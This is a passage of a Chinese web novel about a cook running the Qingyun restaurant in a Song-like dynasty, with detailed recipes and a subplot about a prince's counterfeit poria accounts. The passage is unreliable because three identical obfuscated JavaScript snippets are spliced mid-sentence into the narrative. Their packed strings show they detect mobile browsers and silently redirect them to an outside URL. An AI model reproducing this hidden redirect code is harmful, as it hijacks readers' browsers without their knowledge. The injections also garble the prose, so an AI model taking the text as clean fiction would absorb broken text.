转眼来到了冬至，天还未亮，京城内外已是一派喧闹。 街市上的沿街铺子早早便开张，百姓有焚香祭祖的，好不热闹。 那糕饼铺里蒸笼摞的老高，里面蒸有糖糕、各种馅料的蒸糕，香甜的气息隔着半条街都能闻到。 有的糕点铺子邻着门面支了个小摊，上面摆放着各种精巧盒子，街坊邻里、亲朋好友间送礼往往就会顺手采买一盒糕饼，体面又应景。 宋朝冬至人人讲究换新衣、戴新饰，因而绸缎庄今日将那些华贵的绫罗绸缎摆放在显眼的位置，首饰店里年轻姑娘相互佩戴钗环耳饰，也有年轻公子为心上人挑选饰品的。 遑论今日的食肆、酒楼，来往宾客更是络绎不绝。 谢青禾的青云楼虽比不上京城八大正店那般气派，有着彩楼欢门、华灯锦幅，却也一大早就在门口挂上红绸，换上崭新的红灯笼图个热闹喜庆。 俗谚道，“冬馄饨，年馎饦”，冬至这日家中不论贫穷富贵，都要来上一碗热气腾腾的馄饨。 青云楼铺面不大，谢青禾便在后院添桌加座，阿鱼和小允子在食肆内穿梭如飞，端酒上菜、唱喏报菜，忙得不可开交。 今日馄饨自是食客点名最多的，其中馅料有韭菜鸡蛋、猪肉白菜、玉米鲜虾各式各样让人挑花眼。 韭菜鸡蛋味美可就是吃完后口气不太清洁，为此谢青禾还专门为其附赠玫瑰露。 猪肉又被成为豕肉，因为“豕”字很形象地反应了猪的外形特征，长嘴巴、大肚子、四条腿以及尾巴，非常直观地表达了猪的形象。 但是因为它味道总有一股浓郁的骚味，虽然它价钱远低于养肉，可上至达官贵人下至平民百姓，无人喜食猪肉。 因此这种馅料的馄饨今日并没有食客光顾。 冬日新鲜食材本就不多，因此谢青禾特意从系统那里拿了些玉米粒，玉米在这明朝中后期才正式出现，因此在这个有点类似宋朝的时代，玉米还是个稀罕食材。 这个朝代的漕运、陆路冷链均可运输冻货，因而鲜虾也是可以买到的，加上它处理简易油脂少，价格甚至比猪肉还要低上十几文。 众人见那玉米虾仁馄饨样式新奇小巧，味道又十分清新爽滑，因而食客今日绝大多数点名要吃玉米鲜虾馄饨。 一传十十传百，甚至有人为图新鲜特意从别家茶楼酒肆跑来品尝。 “阿姊，再来十份玉米鲜虾馄饨……”阿鱼掀开后厨门帘喊道，总托盘端起刚做好的红糖糍粑、酒酿桂花汤圆向外间走去。 谢青禾此时有点忙不过来，于是将王允喊来打下手，这王允别看与肖衍同岁，可是寻常下厨、补衣、扫洒这些杂活却做的有模有样，穷人家的孩子早当家，想必出身不太富裕。 阿鱼比王允小上几岁，在她没来前一直是乞讨度日，没人照料，好在经过她这半年的指点，口舌却是越来越伶俐，半点没有先前怯生生模样，遇事察言观色，反倒成了食肆里最会招呼客人的人，只是单练了口才，厨艺还未系统调理过。 小允子来到后厨，听从谢青禾的安排，再备一些馄饨皮。他取来白面，加入适量温水搅拌，又放入盐来增加面团筋性，反复揉了三遍，盆中才没有面絮，又加入半勺热水揉至光滑，这样少量多次的加水，面团才不会出现过软不成型，过硬口感差点情况出现。 揉好后的面团用潮湿的笼布覆盖，放到灶台旁醒面片刻。 小允子后面期间，谢青禾正忙着处理鲜虾，她用刀背一一将虾拍晕，随后去壳、去头、抽虾线，将处理过的虾仁清水漂洗，沥干水分后便处理好了。 接着将虾肉与玉米粒放入陶盆中，加入少许姜汁、葱白去腥，添加少量自己调制的豆瓣酱，再加入几枚鸡蛋，使得食材之间具有粘性不松散，接着用筷子向同一方向搅拌，这样味道均匀、虾肉也更紧实。 与此同时，面团醒好后，小允子已经开始擀压面皮。他取来面杖将面团反复推开按压，再用长面杖推擀，直至面皮薄如蝉翼，拿起来能够隐约透光即可。 小允子将斗大般的面皮叠好，用刀切成一张张方方正正的馄饨皮，摞在一旁看着十分整齐美观。 二人将馅料、面皮都弄好后便开始包馄饨。 小允子不太熟悉，便先看着谢青禾，只见她将面皮放在相信，用一个扁长的竹片挑取馅料，随后双手对折捏紧，再将顶端面皮翻折过来，两边在捏一下，活像一个小元宝。 过去馄饨形似偃月，有象征团圆、生活幸福安康的说法，同现在那种随手一捏成羽毛球那种不同。 小允子自己试着跟着谢青禾包了几个后，虽不如谢青禾包的工整，但也有八九分模样了。 谢青禾让小允子在一旁包着，自己则取来十只瓷碗，在碗中放入一些紫菜，紫菜长在礁石上，过去人们采摘难度大，因此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156909|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属于朝贡用品，有流入市集的，但往往很少。 为了保证口感，谢青禾只得从系统那里拿些紫菜，羊毛出在羊身上，系统升级需要那么多银钱，它资助点食材怎么啦。 谢青禾拿的心安理得。 将紫菜泡发在水中，谢青禾又将葱叶摘掉，洗净后切成米粒般大小的葱花，将芫荽的枯叶摘掉已经后切成小段，分别放入小碗中。 待阿鱼问清食客喜好后，根据个人不同口味再放入葱花和香菜。 现世的鸡精都是一些化学勾兑物，为了食客的安全，谢青禾用虾米代替，虾米不仅可以提鲜还可以增香、压腥，价格不贵，健康又美味。 古语云“汤为饭之魂”，馄饨若无好汤，便失了七分滋味。 谢青禾将适才炖煮过鸡肉的汤用筛网过滤出残渣，滤出的鸡汤在其中加入适量清水、生姜、葱段白、稀释一下原味肉汤的油腻感。 小允子这边不觉间就包了大半，谢青禾将食客要的玫瑰露、桃花酥这些饭前糕点一一装盘准备了片刻。 等到锅中鸡汤沸腾后，谢青禾总滤网捞出那些大料，用勺子舀起品尝，此时鸡汤的油腻口感被稀释了很多，尝起来香气十足。 谢青禾将鸡汤依次倒入那盛放小料的瓷碗中，暗黑的紫菜顿时舒展开来，片片浮到汤面上，再撒上芫荽、葱花，滴上几滴香油，整个后厨都弥漫着馄饨的香气。 阿鱼将这十碗馄饨依次端到食客面前，走过之处，无不令食客探颈窥望。 食客夹起一只，品尝后边忍不住摇头晃脑称赞道，“谢娘子的馄饨果真新奇味美！” “品尝过谢娘子家的馄饨，方知何为人间至味啊！” “一碗下肚，通体舒畅，哪里还有严寒，当真是冬日必不可少的美食啊！” 有的顾不上品尝，只一味的‘啊呀’‘美哉’‘妙之’…… 街边还有一些说书、杂剧，混合着锣鼓声、唱喏声、商贩叫卖生、车马叮铃声，天气虽然严寒，可在这样热闹的节日里人们只顾着看些、吃些新鲜玩意，就算寒冷大家也浑然不觉。 青云楼这一日虽然繁忙，可大家又都很快乐。 生意红火，食客吃得开心，有钱赚又被人夸赞，谢青禾只觉值得。 萧蘅感觉比往日都要疲乏，可见到人间烟火、百姓推杯换盏、言笑晏晏，人人都有奔头，自己不必活在深宫的暗算与监视里，这般踏实安稳，于他而言，已事难得的幸福。 阿鱼这一日虽累，却比以往都欢喜。从前他是人人厌恶的小乞丐，每日缩在角落忍饥受冻。如今在青云楼，他感受到了被人需要和认可的感觉，每日有美食，不用再忍饥受冻，他只感觉现在的内心充满了满足和幸福。 小允子自小被卖入宫中，日日循规蹈矩、仰人鼻息、做些固定差事生活，只等着熬到年老离宫，从未奢望过将来。 可自从来到青云楼，一切好像都往好的方向转变，谢姑娘虽是东家，却从不苛责下人。身边又有阿鱼作伴，每日无话不谈。更重要的是自己的主子萧蘅，往日在宫中性子阴郁、阴晴不定，可自从来了这里，脸上却能找到丝笑意。 这般鲜活、安稳的日子他从未体会过。 待到暮色降临，最后一桌食客也餍足离开。 萧蘅夜晚躺在床上，莫名想到前几日，曹清徐要自己用茯苓进补，今年茯苓价高的反常，可选药材不少，却偏偏用这一味。 不管怎样，萧蘅决定明日去城郊李伯药铺探访下上次茯苓药材的事。 16. 藕粉桂花糕 次日，谢青禾听闻萧蘅和小允子要一同去城郊李伯药铺采买茯苓，念着同阿爷阿奶一般年纪的李伯家境贫寒，仍好心给了一包桂花干，用那包桂花做出来的汤水、糕点一经出售，卖得不少银钱。 谢青禾为了感念李伯，特意在晨起食肆不忙的时候又做了点藕粉桂花糕。 她取出桂花干，加入热水混合均匀，盖上盖子焖片刻。 在此期间，谢青禾取来几日前在瓦舍买来的藕粉，用绢筛将里面的杂质、粗粒筛掉。等量糯米粉、面粉同样过筛，所有面粉过筛后，再加入几勺白糖。 这时再将桂花水过筛出来倒入面盆中，再放入一勺猪油，用筷子搅拌至没有结块、盆中面粉丝滑如牛乳，用筷子挑起，面粉像流动的丝线般落入盆中。 冬至那日，阿鱼见食客在饭前钟爱吃着糕点，店内却没有很好的模具，影响阿姊做饭。 于是他闲暇之余用梨花木做了好些模具，有圆形、方形、桃形、莲花形的样式。 各式各样又有不同的寓意，比如圆形寓意月圆人圆、阖家团圆，中秋时可讨个好兆头；桃形寓意老人长寿吉祥；莲花形寓意家族繁荣、和和美美；方形模具最为简洁大方，平日最常使用的就是它。 阿鱼同种样式还做了不同大小的模子。 谢青禾取来最大的那个方形模具，为了方便一会糕点脱模，便用刷子蘸了点油，刷在模具里层。 将陶盆里的面糊全部倒入模具中，面糊层层叠叠不断涌入模具，再用木片抹平表面，此刻面糊里面有些气泡，于是谢青禾将模具上下磕放几下震破气泡。 点燃灶火，放在笼屉上蒸上片刻，约莫一盏茶时间，要掀开盖子将水汽全部甩掉，以免水珠落在面点上，蒸出来坑坑洼洼，有碍瞻观。 但任何食物放在笼屉上蒸煮，盖子上就会有水汽，于是谢青禾取来一段纱布盖在模具上，这次可以放心蒸煮。 萧蘅早已收拾准备妥当，“在忙什么？” “你们不是要去李伯药铺？上次李伯给的桂花干帮了我们食肆不少忙，我做些桂花糕，你们带过去。”谢青禾道。 萧蘅心中有所触动，这样一个为了感念别人而大清早做糕点的女子与文王到底有无关联？ 半年前那场轰轰烈烈的国子监供餐竞赛上，所有人都看到文王对谢青禾青眼有加。 文王贪慕王权、为达目的一切都不放在眼中，从不会对任何人有所让步。 二人为人处世上可以说完全相反。 谢青禾抬手擦拭额上汗珠，瓷白的面庞看不出一丝不耐，面上被笼屉中的热气熏染的有些绯红，葱白纤长的手指不断淘洗碗中金灿的桂花。 萧蘅倚门抬眼，只见晨光透过轩窗照映在她的周围，影影幢幢看不分明，却有种说不出的美。 依着他对文王喜好的了解，谢青禾说不准真能入文王的眼。 至于谢青禾会不会像寻常女子一般，只要被王孙公子看中，做外室都愿意往上扑。 萧蘅对谢青禾抱有怀疑，如今谁不愿意通过一桩婚姻彻底改变自己及家人所在的阶层？ 掀起乌黑浓长的睫羽，萧蘅看着谢青禾，内心充满疑虑。 ‘呼’谢青禾鼓起脸颊，轻轻吹拂着刚刚从笼屉上拿下来的模具，等到面糕完全凉透才能脱模切块。 趁此时间，谢青禾准备做点糖桂花。 在另一口干净的铁锅中放入半碗白糖、半捧干桂花、半碗清水，接着小火熬制并用锅铲不断搅拌，等到锅中不断出现金黄小泡即可倒入小碗中备用。 谢青禾将模具倒扣，白白糯糯的面糕‘啪嗒’一声脱落到砧板上，为了方便切块，谢青禾在刀面刷上一点油，又特意用木尺提前标好位置，方便切出方如玉玺的面糕。 随着‘啪嗒、啪嗒’刀刃撞击砧板的声音，一块块洁白似玉的面糕切了出来。 小允子看到渐渐赞叹，“真好看！尝起来也一定不错！”随后很有眼力见地取来食盒，在里面又放入盘子，这才递给谢青禾。 谢青禾用筷子轻轻夹起白嫩软糯的面糕，一一摆在瓷盘中，随后淋上适才做好的晶莹闪亮的糖桂花。 萧蘅从谢青禾身上收回目光，看着这叠精致的点心，内心的疑虑随即忘却，心思被这一盘糕点勾得牢牢的。 幸而谢青禾多做了些，于是便将剩下的装入盘中，放在桌上让他们三人随意品尝。 阿鱼馋得口水快流出来，用袖子一抹嘴，也没用筷子，直接下手抓起一块就放入口中。 “太好吃了！”阿鱼吃的都有些晕眩了，“甜丝丝，软糯糯，给我肉都不换。” 小允子‘啪’地拍了下阿鱼的手，“你下手抓了，让别人怎么吃？” 阿鱼被拍醒了，“嘿嘿”两声，这时才想起来刚才有点冒失，挠挠头不好意思道，“适才我刚洗过手的……要不今日店内的活我都做……” 小允子双手抱臂道，“那好，今儿个你在店中帮谢姑娘认真做活，可不要偷懒！”正好他与萧蘅主仆二人要一同前往城郊药铺。 说是这样说，二人心中早就商议好，要赶在店内繁忙时辰提前回来。 午后二刻，不似早晚那般寒凉，萧蘅同小允子主仆二人来到城郊药铺。 还未进门，二人便闻到浓重又苦涩的汤药味。 萧蘅不觉眼圈泛红，被呛了一下，赶忙用袖摆掩住口鼻。 小允子自小在宫中做活，不管煎药、缝补这些杂活都做过，闻到这苦涩的药味，并未有太大反应，他赶忙拿出被花蕊熏过的手帕，递给萧蘅。 萧蘅接过手帕，覆在口鼻上，才感觉空气清新了些。 小允子提上食盒跟在萧蘅身后，萧蘅进了院门，发现李伯此时手持蒲扇，向小炉子下面扇风，时不时站起来掀开陶罐盖子翻动罐中药材。 “李伯，可是给病人熬煮的？”小允子看了一眼萧蘅，随后替他开口道。 李伯听到这话，抬头看向来人后，赶忙起身，拄着拐杖缓缓走来，“是我家小儿的药。” 萧蘅记得他的儿子在文王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173524|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府当差，王府当差虽然待遇比平常人家好，可就算是春节也要看主家的安排，平日不会随意回家探亲的，今日如何回来了？ “令郎归家了？”萧蘅不确定问道。 谁知一提他的儿子，李伯居然泣涕涟涟，呜呜咽咽的连话都说不清楚。 萧蘅皱眉，小允子听到后，心中揪成一团，赶忙搀扶他进屋休息，又端来热水让他稍作平静。 李伯边哭边抹泪，在小允子的照拂下，好一会才停下来，“这几日家中不安宁，让二位公子看笑话了。” “哪里的事，谁家都有着急的事。”小允子打圆场道。 “我家犬子几日前，在文王府记录茯苓入库数量和金额，他发现那些入文王府私库的茯苓是从百姓手中收购的，却用不知哪里收回的带有霉斑、残渣的茯苓换取百姓手中的好茯苓，更奸诈的是，百姓十两好茯苓才换一两差茯苓……”李伯边哭边说，枯枝般的手指向角落的竹筐。 萧蘅看角落的竹筐，走上前去，拿起一块，还未捏，手指便有一层白屑，这分明是用木薯粉假扮为之。 他向下翻动，发现底部有大量残渣，上面还有霉斑。 不觉双手捏紧竹筐。 “犬子心中过意不去，于是便将那些账本私自誊抄一遍，准备将这个消息汇报给大理寺，结果还未到府衙，便被文王府的小厮看到，又将他拖回文王府，搜查出的那本假账本扔入火盆，我儿被好一顿毒打，府中有人看不下去，便派人来通知我们……”李伯哽咽道。 “可这种事，我万不敢让他娘知晓，于是我一个老叟只身来到文王府，找到我儿时，就只剩最后一口气了……”李伯越说越伤心。 小允子也不觉间眼角有些湿润，哪个孩子不是父母的心头肉呢，被打成这样，别说父母，就是外人都于心不忍。 “私抄假账并外泄，轻则鞭笞四十，重则刺面、流放。”萧蘅冷静回复道。 李伯一愣，声音颤抖道，“可我家犬子是为了不让其他药商吃亏啊。” 萧蘅喉头一哽，“可人们往往只看表面，犬子确实誊抄假账。” 李伯知道自己压根抵不过权贵的一根手指头，也明白萧蘅所说的人们只看表面，他无奈叹气又无力地垂下头。 萧蘅心中为之一动，事情不能就这样结束。 若想解决此事，只有去文王府找到并拿出那本真账本。 可如何能接触到那本账本呢？ 文王府的私账，就算他是皇帝也没有直接拿来过目的道理。 萧蘅将那食盒暂且放下，又给了些银钱便离开了。 一路上二人沉默不语。 小允子摸不准萧蘅的心思而在车中胡思乱想。 萧蘅一方面愤怒，另一方面感觉此事没那么简单。 文王当真缺那点儿茯苓？以少换多、以次充好霸占百姓银钱，就这么缺钱？ 可他每月食俸禄三百石，足够他以及他府中上上下下几百口人的花销。 莫不是他别有企图？ 17. 茯苓排骨汤 冬至刚过四五日，人们才正经体会到冬天的寒气。 天寒地冻万物凋敝，酷寒不仅影响庄稼收成，百姓若在冬日不注意养生，肠胃胃寒，自然也会受到影响。 茯苓健脾养胃、不苦不涩，关键入菜不抢味，做汤可提鲜，无论熬粥、炖汤皆适宜。 入冬以来谢青禾研究了一道菜——茯苓排骨汤，暖胃健脾、祛湿补血，食客吃完念念不忘，几乎每日都有回头客。 可近来市面上茯苓涨至五十文一斤，比肉都金贵，听人说比往年涨了一倍。 虽然站在青云楼生意有所起色，自己也赚得些银两，可这道菜若跟着茯苓涨价，平民怕是无法接受这个价格。 她试过很多平价药材，比如山药、芡实、莲子、白术，可食客尝够不买账。 食客说山药偏甜、芡实发涩、莲子味苦、白术药味重，这些都没有茯苓那样味道温和。 幸而几日前，萧蘅从李伯药铺哪里采买了些茯苓，可谢青禾挑选后，能够入汤的茯苓只有一捧，大约只够三碗的量，剩下一些不是发霉残渣就是用木薯块冒充的假货。 但有万幸是有茯苓可入汤，这几日老食客每日都要来问，“那茯苓排骨汤还做得吗？”谢青禾每次都只能歉意的让他们点些别的饭菜。 老食客连着两三日跑空，今日终于能做上几碗让他们解解馋。 趁这会功夫谢青禾赶忙去隔壁王屠户那在买点猪肋排。 猪肉在这个朝代人的眼中就是粗肉，苏轼的东坡肉是因为苏文豪被贬到黄州时，吃不起人们认为高级的羊肉，才研究起猪肉来。 因此猪肉在这个朝代就是底层食物，王公贵族不屑吃，平明百姓不肯吃。 可经过谢青禾的妙手，这猪肉、猪排骨无半点腥臊味，反而成了青云楼食客的香饽饽。 王屠户就在钱庄巷入口第三家，谢青禾挽着篮子走上前，站在柜前仔细挑选，随后葱白的手指向面前，温声道，“要这些猪肋骨，两斤。” 王屠户内心纳罕道，这精肉旁人都嫌粗鄙，没人愿意吃，何况是满是骨头，上面只有一点肉星的猪肋骨？就算二十文一斤，都无人问津。 近来谢青禾没少买这些下脚料，王屠户以前发愁这些骨头没处安置，自打这谢姑娘来了后，这些下脚料可算能有处安置了，好歹能赚着些银钱！ “好嘞！”王屠户爽快应道，随后手起刀落，猪肋骨咔咔作响，片刻便被砍得方方正正。 谢青禾付了四十文。 “下次还来哦！”王屠户喊道，他可不想丢失这样一个肯买猪骨头的‘冤大头’。 谢青禾早已走出半里地，遂未听得分明。 她提着那些猪肋骨刚进店铺，后面就跟着几个食客。 他们眼角看到盖着碎花布头的猪骨头，个个两眼放光的问道，“今日可是能做茯苓排骨汤？” 谢青禾笑道，“可以是可以，只是今日的茯苓只够出三碗排骨汤，大家先报先得。” 几人争吵不休，“我先来的！”“明明是我先来的！”最终几人决定分着喝。 谢青禾笑道，“那大家先坐吧，稍后就给大家上汤。” 她来到后厨，将那些猪肋骨冷水洗去上面残存的血水、骨渣。 随后在锅中倒入冷水，直接将洗好的骨头下锅，这样焯出的肉质较嫩。 接着放入姜片、葱段、先前酿好的米酒。 小允子忙完手头的活计后，帮着谢青禾烧锅。 随着水温渐起，水面不似开始那般干净，上面浮起一圈灰褐色的血沫。 “这些都是猪骨里的杂质、油脂，虽然无毒，但在汤中影响口感。”谢青禾看着小允子道。 小允子虽是一名宫人，但他一想到猪圈那些通常与茅厕相连，因此一闻到猪肉味就想吐，有些无奈道，“若不是曾尝过谢姑娘你做的排骨汤，我是断不肯吃猪肉的。” 谢青禾无奈摇头，“这有什么，真到不太平时节，怕是还吃不上哩。” 小允子听到，先是一怔，后是一惊，内心震惊，这种话若是被萧蘅听到，好脾气怕是装不下去了。 谢青禾不在意，拿起勺子将上面的浮沫一点点撇干净，随后将排骨捞出，用温水洗净上面的浮渣。 小允子端来铁锅，正要像里面添水，谢青禾制止道，“不用这口锅，用砂锅。” 小允子一头雾水，用哪口锅不一样吗？ 谢青禾看出他的不解，温声道，“铁锅一烧便滚烫，排骨便会发柴。砂锅锅壁厚重，传热慢，锅中的汤可始终缓缓沸腾。” 小允子听后，忍不住拍掌赞叹，“谢姑娘心灵手巧，靠自己就能活得很好。” 谢青禾心想，那是自然，靠山山会倒，靠水水会流，提升自己才是王道。 她将排骨装入砂锅中，随后放入茯苓、葱段、姜片、倒入三碗清水，接着大火炖煮一炷香的时间，随后再放入红枣、山药，小火焖煮半柱香。 等到快出锅时，简单加勺盐调味即可。 谢青禾将汤逐次倒入碗中，空气中氤氲着茯苓甘甜的香气，还有猪肉的浓香。 食客就着猪胰胡饼，喝着这冒着热气的排骨汤，当真滋润！ 周围食客见那几人吃的香甜，也纷纷点名要此汤。 谢青禾只好歉意表示，“诸位，店内还有各种汤饼、糕点，味道都不错。” 可食客不太买账，这几日寒气逐渐迫人，都想喝些热汤、最好是排骨汤，暖人又有肉。 有的食客知晓今日城中茯苓少得可怜，于是当下便很识趣地点了别的吃食。 谢青禾也知有的食客是念旧情，可大部分都是想来满足口腹之欲的，食肆没有客人想吃的，一来二去，生意竟渐渐冷清了下来。 一日，谢青禾正当不知如何是好时，门外忽然停着一辆刺绣锦帐马车。 随后一阵环佩叮当，伴随着丫鬟通传的声音，“小姐慢些，仔细脚下。” 谢青禾接待食客无数，从未见过如此娇矜的主，她站在柜台用余光扫去，只瞧见那车夫躬身掀开车帘子，一只带着碧玉镯子的手先搭了上来。 随即，一道纤细高挑的身影缓步走下。 来人正是原身谢青禾的嫡姐，谢婉儿。 二人对视间，谢青禾感受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184185|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她眼中的恶心，脑中浮现出原身儿时多次被她陷害的场景。 从小到大谢婉儿最容不得旁人压过她，她嫉妒谢青禾的美貌，好在这个妹妹是庶出，性子又愚蠢冲动，名声早被她暗地里搅得一团糟，哪个正经人家愿意娶她？ 谢婉儿想到这些心中就舒坦。 谢青禾静静忍受着她上下打量的眼神，语气淡淡道，“姐姐可想吃些什么？” 谢婉儿回过神来，立刻捏着秀帕在鼻尖前挥了挥，“你这店里什么怪味儿？” 谢青禾刚准备用猪大肠做些卤货，谁知她竟来了，冷冷道，“猪大肠的味道。” 谢婉儿脸色一僵，险些呕了出来，这般秽物，谢青禾竟能直接说出口，当真上不了台面。 上次谢青禾获得国子监餐供，她本想借机拉谢青禾下水，反倒害得舅舅朱子健入狱，这笔账，她通通算在谢青禾头上。 她此次就是专程为了踩谢青禾一脚而来。 “我还当你这青云楼生意多红火呢，原来不过是用猪大肠这等腌臜物做吃食，也难怪店内冷清呢。”谢婉儿掩唇轻笑道。 一旁的阿鱼早听得直攥拳头，见不得阿姊受气，于是拿着擦洗过猪大肠的抹布，故意走到谢婉儿桌前，脚下故意一绊，身子一歪，抹布正好摔倒她身上。 谢婉儿正笑得得意，忽然嗅到一股腥膻恶臭，低头一看，来源正是一块臭布，当即脸色骤变，抬手朝阿鱼扇区。 阿鱼如今特别会察言观色，见状立刻矮身一躲，那巴掌用力过猛，绊得谢婉儿一个趔趄。 谢婉儿气得眼前发黑，险些当场翻了白眼，但想到今日来意还未表明，只得强压怒火，耐着性子重新落座。 她端起桌上茶杯，借着饮茶的动作掩去方才的狼狈，半晌才缓缓开口，“我今日来，是给你送一桩生意。不日我便要同王爷成亲，王爷疼我，说要在当天大摆宴席，请了不少宾客，府中厨子忙不过来。” 她说着，目光落在谢青禾身上，带着倨傲地审视，“王爷说可请外厨帮忙。我想着，你不是最爱做饭，又最是贪财富吗？这桩生意，还真是非你莫属了。”末了，还不忘冷冷斜睨她一眼。 谢青禾看她那骄傲的模样，心中知晓，这哪里是给自己生意，分明是想故意给些难堪。 “不去。”谢青禾语气干脆，没有半分犹豫道。 谢婉儿一怔，没料到她会拒绝，心头一慌，但面上却强撑着矜贵，“一日十两。” 谢青禾哼笑。 “十五两。”谢婉儿加价。 谢青禾抬眼，语气平静道，“姐姐说笑了，我谢青云楼生意就算再惨淡，每日流水也有二十两。” “三十两！”谢婉儿几乎咬碎银牙。 文王这次预支外厨只有五十两银子，本想自己落些银钱，谁知这谢青禾惊如此不知好歹。 谢青禾迟迟未开口，她方才说的每日流水二十两是在生意好的时候，这几日冷清，每日不过十两上下。 谢婉儿今日一定要让谢青禾松口，她就是要在谢青禾面前摆足架子！ 她声音带有怒意，“你到底答不答应？” 18. 巧取钥匙 谢婉儿答应一日三十两现银，确实比店内一日流水要多，自己也想着早日攒够百两黄金，尽早在系统中升级为高级厨师。 当下店内生意不似先前那般景气，去文王府挣得些外快也未尝不可。 只是她若那日前去，心中有些事让她放心不下。 其一，便是青云楼的生计。若她前去，青云楼便无掌勺的大厨，店内岂不是要断了生意？ 转念一想，这些时日小允子跟在自己身旁，做得一些烹煮炖炒，在做饭一事上早已学得拿捏火候、调味的分寸，寻常菜肴皆能上手，颇有掌勺的能力。 阿鱼虽未教习过他后厨之事，却也可打打下手，外加如今口才了得，又甚会察言观色，在外间与客人应和着甚是妥当，二人内外相互配合，不至于让青云楼就此断了生意。 况且谢婉儿的婚宴在三日之后，这两日她腾出功夫，在与二人叮嘱一番，确保万无一失。 其二，谢婉儿素来与她不和，处处看她不顺眼，此番肯掷三十两银子请她入府做菜，她料定婚宴这个差事不好做。 青云楼每日忙碌，虽偶有难缠的客人，但并无故意刁难的心思，无非菜冷了、粥淡了，给他们便宜一二文银子，或者免了这顿饭钱，他们自是二话不多说，再不找麻烦来苛责她们，事情便一笑了之。 谢婉儿这次付这么多银钱，岂会让她如此轻松的拿到手？况且谢婉儿一直看自己不顺心，自己这次要的这么多钱，谢婉儿又出心想打压自己，于是必定会狠狠磋磨自己一番。 几番思考下，谢青禾最终下定了决心。 富贵险中求，银钱难中得。 就算谢婉儿有所磋磨，自己不是任人拿捏软柿子，遇着难处必定兵来将挡，水来土掩，不会让自己吃亏！ 谢青禾转头看向早已没有耐心的谢婉儿，淡淡道，“好，我可以前去，但要先付十五两定金。” 谢婉儿听到这个庶妹同意后，面上顿时由愤怒转为惊喜，精致的妆容有一丝的扭曲，涂着红色豆蔻的指甲在空中挥动着，“春桃，给她！” 在她看来，只要谢青禾答应，便能在婚宴上看这个庶妹为自己忙前忙后，想想心里就舒坦。 谢婉儿发出几不可查的长叹，左右扭动着整理自己的妆容，最后看着谢青禾眼底漫上一层轻蔑，“春桃，我们走。” 丫鬟春桃忙不迭地端着她的手臂，主仆二人在一众食客困惑的眼神中上了车。 “这文王果真阔绰啊，一个小妾都要大办婚宴……” “还真是，文王府家厨数百人，就是说家中所有亲眷来了也够用啊……” “就是，哪里还用请青云楼的厨子？” “要我说，一日三十两，一日估计就做一两个菜，轻轻松松白赚三十两，就该去……” 众人吵吵嚷嚷，显得账台那边有些异常安静。 萧蘅内心思忖着，谢青禾就这样丢开青云楼去帮文王宠爱这样一个恃宠而骄的小妾？ 青云楼从原来的破败不堪到今日的稍有起色，原因不过是有谢青禾这个掌勺的在，又因性格和善，从不与人计较才走到今日。 谢青禾那日若去王府，这青云楼到要如何？ 说到底，这青云楼又不是他开的，自己何必操这份闲心。 等等！ 文王府！ 茯苓造假替换！ 揭露账本！ 这一连串的线索，噼里啪啦闪现在脑海中。 对啊，自己为何不借着这个机会，同谢青禾一起进入文王府，找到那本账本与真假药材，将文王替换真药材、坑害百姓的真相公之于众！ 此时萧蘅心中只有揭露真假茯苓账本一事，无暇顾及青云楼生意如何、谢青禾究竟是否是文王的人。 他正琢磨如何向谢青禾开口同往，谢青禾却先一步朝他走来。 谢青禾适才思索一番，总觉自己独自入府不安，身边需要有个沉稳可靠的人通风报信。 小允子、阿鱼要留店看守，那就只剩下账房肖衍。 谢青禾坐在条凳上，托着腮细细看着那人，只见他白净瘦削的手指不紧不慢的拨动着算珠，右手在账本上偶尔圈画着什么，明明衣衫朴素，却看那浓黑的眉锋微皱，脸庞线条锋利，透露出一丝不容旁人忤逆的威严。 萧蘅感受到旁人目光，抬眼间，脸庞又恢复那种平和宁静的神色。 谢青禾一怔，知道自己失态了，于是低下头回想适才肖衍的举止，确实遇事沉稳、不慌张，虽然没有功夫，但通风报信完全足够了。 这边萧蘅完全不知，在谢青禾眼中，把他当成跑腿的小厮使唤。 谢青禾走到跟前缓缓道，“后日，你同我一起去王府。” 萧蘅抬眼看她，内心一动，口中却淡淡应下，“好。” ＊ 三日后。 文王府外换了几盏灯笼，并未大肆铺张。府内上下皆知府上要来第八位姨娘。 依宋时规矩，亲王纳妾不必告知宗庙、朝臣，更不用大排仪仗，只在内苑设几桌家宴，妾室坐小轿从偏门入府，便是礼成。 谢婉儿一身浅粉荷花褙子，鬓边簪了两支素银簪子，端坐于小轿内，自偏门被抬进王府。 王府后厨。 谢青禾正沏茶，便听见一旁王府家厨低声闲聊。 